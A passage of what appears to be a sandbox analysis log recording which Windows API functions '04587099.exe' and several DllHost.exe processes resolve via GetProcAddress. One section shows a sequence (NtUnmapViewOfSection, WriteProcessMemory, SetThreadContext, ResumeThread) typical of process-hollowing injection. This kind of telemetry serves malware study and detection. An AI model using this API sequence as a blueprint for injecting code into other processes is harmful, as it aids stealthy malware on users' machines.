"GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter IsValidLocaleName (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleExW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandleW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter WSASend (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter EnumProcesses (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter NetStatisticsGet (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter NetApiBufferFree (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CryptAcquireContextW (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CryptGenRandom (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CryptReleaseContext (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter _OPENSSL_isservice (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetForegroundWindow (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetCursorInfo (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter GetQueueStatus (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter CloseToolhelp32Snapshot (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Heap32First (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Heap32Next (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Heap32ListFirst (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Heap32ListNext (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Process32First (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Process32Next (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Thread32First (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Thread32Next (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005728) "04587099.exe" called "GetProcAddress" with a parameter Module32Next (UID: 00000000-00005728) "DllHost.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005584) "DllHost.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005832) "DllHost.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00006148) "DllHost.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00006148) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtect (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GlobalAlloc (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter Sleep (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter VirtualAlloc (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateToolhelp32Snapshot (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter Module32First (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter MessageBoxA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetMessageExtraInfo (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WinExec (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateFileA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateProcessA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetThreadContext (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter VirtualAllocEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter VirtualFree (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter ReadProcessMemory (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WriteProcessMemory (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter SetThreadContext (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter ResumeThread (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter WaitForSingleObject (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetModuleFileNameA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetCommandLineA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter NtUnmapViewOfSection (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter NtWriteVirtualMemory (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter RegisterClassExA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter CreateWindowExA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter PostMessageA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetMessageA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter DefWindowProcA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetFileAttributesA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter GetStartupInfoA (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter VirtualProtectEx (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter ExitProcess (UID: 00000000-00005792) "04587099.exe" called "GetProcAddress" with a parameter InitializeCriticalSectionEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FlsAlloc (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FlsSetValue (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FlsGetValue (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter LCMapStringEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FlsFree (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetCurrentPackageId (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter InitializeConditionVariable (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter WakeAllConditionVariable (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableCS (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter AcquireSRWLockExclusive (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter ReleaseSRWLockExclusive (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetLocaleInfoEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetThreadStackGuarantee (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetLogicalProcessorInformation (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter SetDefaultDllDirectories (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter EnumSystemLocalesEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetDateFormatEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetTimeFormatEx (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00004284) "04587099.exe" called "GetProcAddress" with a parameter 